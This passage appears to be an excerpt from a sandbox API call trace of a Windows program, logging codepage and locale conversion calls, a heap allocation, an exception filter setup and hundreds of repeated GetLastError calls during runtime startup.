!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f964 | out: lpCharType=0x18f964) returned 1 [0056.452] GetLastError () returned 0x0 [0056.453] SetLastError (dwErrCode=0x0) [0056.453] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0056.453] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0056.453] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ뻳戴囄@Ā") returned 256 [0056.453] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ뻳戴囄@Ā", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0056.453] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ뻳戴囄@Ā", cchSrc=256, lpDestStr=0x18f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0056.453] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchWideChar=256, lpMultiByteStr=0x18fc64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿØ\"¡û\x9cþ\x18", lpUsedDefaultChar=0x0) returned 256 [0056.453] GetLastError () returned 0x0 [0056.453] SetLastError (dwErrCode=0x0) [0056.453] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0056.453] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ뻳戴囄@Ā") returned 256 [0056.453] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ뻳戴囄@Ā", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0056.453] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ뻳戴囄@Ā", cchSrc=256, lpDestStr=0x18f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ") returned 256 [0056.453] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ", cchWideChar=256, lpMultiByteStr=0x18fb64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿØ\"¡û\x9cþ\x18", lpUsedDefaultChar=0x0) returned 256 [0056.454] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x80) returned 0x2a2c90 [0056.454] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4015c7) returned 0x0 [0056.454] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2a2c90) returned 0x80 [0056.455] lstrlenA (lpString="") returned 0 [0056.455] GetLastError () returned 0x0 [0056.455] GetLastError () returned 0x0 [0056.455] GetLastError () returned 0x0 [0056.455] GetLastError () returned 0x0 [0056.455] GetLastError () returned 0x0 [0056.455] GetLastError () returned 0x0 [0056.455] GetLastError () returned 0x0 [0056.455] GetLastError () returned 0x0 [0056.456] GetLastError () returned 0x0 [0056.456] GetLastError () returned 0x0 [0056.456] GetLastError () returned 0x0 [0056.456] GetLastError () returned 0x0 [0056.456] GetLastError () returned 0x0 [0056.456] GetLastError () returned 0x0 [0056.456] GetLastError () returned 0x0 [0056.456] GetLastError () returned 0x0 [0056.456] GetLastError () returned 0x0 [0056.456] GetLastError () returned 0x0 [0056.456] GetLastError () returned 0x0 [0056.456] GetLastError () returned 0x0 [0056.456] GetLastError () returned 0x0 [0056.456] GetLastError () returned 0x0 [0056.456] GetLastError () returned 0x0 [0056.456] GetLastError () returned 0x0 [0056.456] GetLastError () returned 0x0 [0056.456] GetLastError () returned 0x0 [0056.456] GetLastError () returned 0x0 [0056.456] GetLastError () returned 0x0 [0056.456] GetLastError () returned 0x0 [0056.456] GetLastError () returned 0x0 [0056.456] GetLastError () returned 0x0 [0056.456] GetLastError () returned 0x0 [0056.456] GetLastError () returned 0x0 [0056.456] GetLastError () returned 0x0 [0056.456] GetLastError () returned 0x0 [0056.456] GetLastError () returned 0x0 [0056.456] GetLastError () returned 0x0 [0056.456] GetLastError () returned 0x0 [0056.456] GetLastError () returned 0x0 [0056.456] GetLastError () returned 0x0 [0056.456] GetLastError () returned 0x0 [0056.456] GetLastError () returned 0x0 [0056.456] GetLastError () returned 0x0 [0056.456] GetLastError () returned 0x0 [0056.457] GetLastError () returned 0x0 [0056.457] GetLastError () returned 0x0 [0056.457] GetLastError () returned 0x0 [0056.457] GetLastError () returned 0x0 [0056.457] GetLastError () returned 0x0 [0056.457] GetLastError () returned 0x0 [0056.457] GetLastError () returned 0x0 [0056.457] GetLastError () returned 0x0 [0056.457] GetLastError () returned 0x0 [0056.457] GetLastError () returned 0x0 [0056.457] GetLastError () returned 0x0 [0056.457] GetLastError () returned 0x0 [0056.457] GetLastError () returned 0x0 [0056.457] GetLastError () returned 0x0 [0056.457] GetLastError () returned 0x0 [0056.457] GetLastError () returned 0x0 [0056.457] GetLastError () returned 0x0 [0056.457] GetLastError () returned 0x0 [0056.457] GetLastError () returned 0x0 [0056.457] GetLastError () returned 0x0 [0056.457] GetLastError () returned 0x0 [0056.457] GetLastError () returned 0x0 [0056.457] GetLastError () returned 0x0 [0056.457] GetLastError () returned 0x0 [0056.457] GetLastError () returned 0x0 [0056.457] GetLastError () returned 0x0 [0056.457] GetLastError () returned 0x0 [0056.457] GetLastError () returned 0x0 [0056.457] GetLastError () returned 0x0 [0056.457] GetLastError () returned 0x0 [0056.457] GetLastError () returned 0x0 [0056.457] GetLastError () returned 0x0 [0056.457] GetLastError () returned 0x0 [0056.457] GetLastError () returned 0x0 [0056.457] GetLastError () returned 0x0 [0056.457] GetLastError () returned 0x0 [0056.458] GetLastError () returned 0x0 [0056.458] GetLastError () returned 0x0 [0056.458] GetLastError () returned 0x0 [0056.458] GetLastError () returned 0x0 [0056.458] GetLastError () returned 0x0 [0056.458] GetLastError () returned 0x0 [0056.458] GetLastError () returned 0x0 [0056.458] GetLastError () returned 0x0 [0056.458] GetLastError () returned 0x0 [0056.458] GetLastError () returned 0x0 [0056.458] GetLastError () returned 0x0 [0056.458] GetLastError () returned 0x0 [0056.458] GetLastError () returned 0x0 [0056.458] GetLastError () returned 0x0 [0056.458] GetLastError () returned 0x0 [0056.458] GetLastError () returned 0x0 [0056.458] GetLastError () returned 0x0 [0056.458] GetLastError () returned 0x0 [0056.458] GetLastError () returned 0x0 [0056.458] GetLastError () returned 0x0 [0056.458] GetLastError () returned 0x0 [0056.458] GetLastError () returned 0x0 [0056.458] GetLastError () returned 0x0 [0056.458] GetLastError () returned 0x0 [0056.458] GetLastError () returned 0x0 [0056.458] GetLastError () returned 0x0 [0056.458] GetLastError () returned 0x0 [0056.458] GetLastError () returned 0x0 [0056.458] GetLastError () returned 0x0 [0056.458] GetLastError () returned 0x0 [0056.458] GetLastError () returned 0x0 [0056.458] GetLastError () returned 0x0 [0056.458] GetLastError () returned 0x0 [0056.458] GetLastError () returned 0x0 [0056.458] GetLastError () returned 0x0 [0056.459] GetLastError () returned 0x0 [0056.459] GetLastError () returned 0x0 [0056.459] GetLastError () returned 0x0 [0056.459] GetLastError () returned 0x0 [0056.459] GetLastError () returned 0x0 [0056.459] GetLastError () returned 0x0 [0056.459] GetLastError () returned 0x0 [0056.459] GetLastError () returned 0x0 [0056.459] GetLastError () returned 0x0 [0056.459] GetLastError () returned 0x0 [0056.459] GetLastError () returned 0x0 [0056.459] GetLastError () returned 0x0 [0056.459] GetLastError () returned 0x0 [0056.459] GetLastError () returned 0x0 [0056.459] GetLastError () returned 0x0 [0056.459] GetLastError () returned 0x0 [0056.459] GetLastError () returned 0x0 [0056.459] GetLastError () returned 0x0 [0056.459] GetLastError () returned 0x0 [0056.459] GetLastError () returned 0x0 [0056.459] GetLastError () returned 0x0 [0056.459] GetLastError () returned 0x0 [0056.459] GetLastError () returned 0x0 [0056.459] GetLastError () returned 0x0 [0056.459] GetLastError () returned 0x0 [0056.459] GetLastError () returned 0x0 [0056.459] GetLastError () returned 0x0 [0056.459] GetLastError () returned 0x0 [0056.459] GetLastError () returned 0x0 [0056.459] GetLastError () returned 0x0 [0056.459] GetLastError () returned 0x0 [0056.459] GetLastError () returned 0x0 [0056.459] GetLastError () returned 0x0 [0056.459] GetLastError () returned 0x0 [0056.459] GetLastError () returned 0x0 [0056.460] GetLastError () returned 0x0 [0056.460] GetLastError () returned 0x0 [0056.460] GetLastError () returned 0x0 [0056.460] GetLastError () returned 0x0 [0056.460] GetLastError () returned 0x0 [0056.460] GetLastError () returned 0x0 [0056.460] GetLastError () returned 0x0 [0056.460] GetLastError () returned 0x0 [0056.460] GetLastError () returned 0x0 [0056.460] GetLastError () returned 0x0 [0056.460] GetLastError () returned 0x0 [0056.460] GetLastError () returned 0x0 [0056.460] GetLastError () returned 0x0 [0056.460] GetLastError () returned 0x0 [0056.460] GetLastError () returned 0x0 [0056.460] GetLastError () returned 0x0 [0056.460] GetLastError () returned 0x0 [0056.460] GetLastError () returned 0x0 [0056.460] GetLastError () returned 0x0 [0056.460] GetLastError () returned 0x0 [0056.460] GetLastError () returned 0x0 [0056.460] GetLastError () returned 0x0 [0056.460] GetLastError () returned 0x0 [0056.460] GetLastError () returned 0x0 [0056.460] GetLastError () returned 0x0 [0056.460] GetLastError () returned 0x0 [0056.460] GetLastError () returned 0x0 [0056.460] GetLastError () returned 0x0 [0056.460] GetLastError () returned 0x0 [0056.460] GetLastError () returned 0x0 [0056.460] GetLastError () returned 0x0 [0056.460] GetLastError () returned 0x0 [0056.460] GetLastError () returned 0x0 [0056.460] GetLastError () returned 0x0 [0056.461] GetLastError () returned 0x0 [0056.461] GetLastError () returned 0x0 [0056.461] GetLastError () returned 0x0 [0056.461] GetLastError () returned 0x0 [0056.461] GetLastError () returned 0x0 [0056.461] GetLastError () returned 0x0 [0056.461] GetLastError () returned 0x0 [0056.461] GetLastError () returned 0x0 [0056.461] GetLastError () returned 0x0 [0056.461] GetLastError () returned 0x0 [0056.461] GetLastError () returned 0x0 [0056.461] GetLastError () returned 0x0 [0056.461] GetLastError () returned 0x0 [0056.461] GetLastError () returned 0x0 [0056.461] GetLastError () returned 0x0 [0056.461] GetLastError () returned 0x0 [0056.461] GetLastError () returned 0x0 [0056.461] GetLastError () returned 0x0 [0056.461] GetLastError () returned 0x0 [0056.461] GetLastError () returned 0x0 [0056.461] GetLastError () returned 0x0 [0056.461] GetLastError () returned 0x0 [0056.461] GetLastError () returned 0x0 [0056.461] GetLastError () returned 0x0 [0056.461] GetLastError () returned 0x0 [0056.461] GetLastError () returned 0x0 [0056.461] GetLastError () returned 0x0 [0056.461] GetLastError () returned 0x0 [0056.461] GetLastError () returned 0x0 [0056.461] GetLastError () returned 0x0 [0056.461] GetLastError () returned 0x0 [0056.461] GetLastError () returned 0x0 [0056.461] GetLastError () returned 0x0 [0056.461] GetLastError () returned 0x0 [0056.461] GetLastError () returned 0x0 [0056.462] GetLastError () returned 0x0 [0056.462] GetLastError () returned 0x0 [0056.462] GetLastError () returned 0x0 [0056.462] GetLastError () returned 0x0 [0056.462] GetLastError () returned 0x0 [0056.462] GetLastError () returned 0x0 [0056.462] GetLastError () returned 0x0 [0056.462] GetLastError () returned 0x0 [0056.462] GetLastError () returned 0x0 [0056.462] GetLastError () returned 0x0 [0056.462] GetLastError () returned 0x0 [0056.462] GetLastError () returned 0x0 [0056.462] GetLastError () returned 0x0 [0056.462] GetLastError () returned 0x0 [0056.462] GetLastError () returned 0x0 [0056.462] GetLastError () returned 0x0 [0056.462] GetLastError () returned 0x0 [0056.462] GetLastError () returned 0x0 [0056.462] GetLastError () returned 0x0 [0056.462] GetLastError () returned 0x0 [0056.462] GetLastError () returned 0x0 [0056.462] GetLastError () returned 0x0 [0056.462] GetLastError () returned 0x0 [0056.462] GetLastError () returned 0x0 [0056.462] GetLastError () returned 0x0 [0056.462] GetLastError () returned 0x0 [0056.462] GetLastError () returned 0x0 [0056.462] GetLastError () returned 0x0 [0056.462] GetLastError () returned 0x0 [0056.462] GetLastError () returned 0x0 [0056.462] GetLastError () returned 0x0 [0056.462] GetLastError () returned 0x0 [0056.462] GetLastError () returned 0x0 [0056.463] GetLastError () returned 0x0 [0056.463] GetLastError () returned 0x0 [0056.463] GetLastError () returned 0x0 [0056.463] GetLastError () returned 0x0 [0056.463] GetLastError () returned 0x0 [0056.463] GetLastError () returned 0x0 [0056.463] GetLastError () returned 0x0 [0056.463] GetLastError () returned 0x0 [0056.463] GetLastError () returned 0x0 [0056.463] GetLastError () returned 0x0 [0056.463] GetLastError () returned 0x0 [0056.463] GetLastError () returned 0x0 [0056.463] GetLastError () returned 0x0 [0056.463] GetLastError () returned 0x0 [0056.463] GetLastError () returned 0x0 [0056.463] GetLastError () returned 0x0 [0056.463] GetLastError () returned 0x0 [0056.463] GetLastError () returned 0x0 [0056.463] GetLastError () returned 0x0 [0056.463] GetLastError () returned 0x0 [0056.463] GetLastError () returned 0x0 [0056.463] GetLastError () returned 0x0 [0056.463] GetLastError () returned 0x0 [0056.463] GetLastError () returned 0x0 [0056.463] GetLastError () returned 0x0 [0056.463] GetLastError () returned 0x0 [0056.463] GetLastError () returned 0x0 [0056.463] GetLastError () returned 0x0 [0056.463] GetLastError () returned 0x0 [0056.463] GetLastError () returned 0x0 [0056.463] GetLastError () returned 0x0 [0056.463] GetLastError () returned 0x0 [0056.463] GetLastError () returned 0x0 [0056.463] GetLastError () returned 0x0 [0056.464] GetLastError () returned 0x0 [0056.464] GetLastError () returned 0x0 [0056.464] GetLastError () returned 0x0 [0056.464] GetLastError () returned 0x0 [0056.464] GetLastError () returned 0x0 [0056.464] GetLastError () returned 0x0 [0056.464] GetLastError () returned 0x0 [0056.464] GetLastError () returned 0x0 [0056.464] GetLastError () returned 0x0 [0056.464] GetLastError () returned 0x0 [0056.464] GetLastError () returned 0x0 [0056.464] GetLastError () returned 0x0 [0056.464] GetLastError () returned 0x0 [0056.464] GetLastError () returned 0x0 [0056.464] GetLastError () returned 0x0 [0056.464] GetLastError () returned 0x0 [0056.464] GetLastError () returned 0x0 [0056.464] GetLastError () returned 0x0 [0056.464] GetLastError () returned 0x0 [0056.464] GetLastError () returned 0x0 [0056.464] GetLastError () returned 0x0 [0056.464] GetLastError () returned 0x0 [0056.464] GetLastError () returned 0x0 [0056.464] GetLastError () returned 0x0 [0056.464] GetLastError () returned 0x0 [0056.464] GetLastError () returned 0x0 [0056.464] GetLastError () returned 0x0 [0056.464] GetLastError () returned 0x0 [0056.464] GetLastError () returned 0x0 [0056.464] GetLastError () returned 0x0 [0056.465] GetLastError () returned 0x0 [0056.465] GetLastError () returned 0x0 [0056.465] GetLastError () returned 0x0 [0056.465] GetLastError () returned 0x0 [0056.465] GetLastError () returned 0x0 [0056.465] GetLastError () returned 0x0 [0056.465] GetLastError () returned 0x0 [0056.465] GetLastError () returned 0x0 [0056.465] GetLastError () returned 0x0 [0056.465] GetLastError () returned 0x0 [0056.465] GetLastError () returned 0x0 [0056.465] GetLastError () returned 0x0 [0056.465] GetLastError () returned 0x0 [0056.465] GetLastError () returned 0x0 [0056.465] GetLastError () returned 0x0 [0056.465] GetLastError () returned 0x0 [0056.465] GetLastError () returned 0x0 [0056.465] GetLastError () returned 0x0 [0056.465] GetLastError () returned 0x0 [0056.465] GetLastError () returned 0x0 [0056.465] GetLastError () returned 0x0 [0056.465] GetLastError () returned 0x0 [0056.465] GetLastError () returned 0x0 [0056.466] GetLastError () returned 0x0 [0056.466] GetLastError () returned 0x0 [0056.466] GetLastError () returned 0x0 [0056.466] GetLastError () returned 0x0 [0056.466] GetLastError () returned 0x0 [0056.466] GetLastError () returned 0x0 [0056.466] GetLastError () returned 0x0 [0056.466] GetLastError () returned 0x0 [0056.466] GetLastError () returned 0x0 [0056.466] GetLastError () returned 0x0 [0056.466] GetLastError () returned 0x0 [0056.466] GetLastError () returned 0x0 [0056.466] GetLastError () returned 0x0 [0056.466] GetLastError () returned 0x0 [0056.466] GetLastError () returned 0x0 [0056.466] GetLastError () returned 0x0 [0056.466] GetLastError () returned 0x0 [0056.466] GetLastError () returned 0x0 [0056.466] GetLastError () returned 0x0 [0056.466] GetLastError () returned 0x0 [0056.466] GetLastError () returned 0x0 [0056.466] GetLastError () returned 0x0 [0056.466] GetLastError () returned 0x0 [0056.466] GetLastError () returned 0x0 [0056.466] GetLastError () returned 0x0 [0056.466] GetLastError () returned 0x0 [0056.466] GetLastError () returned 0x0 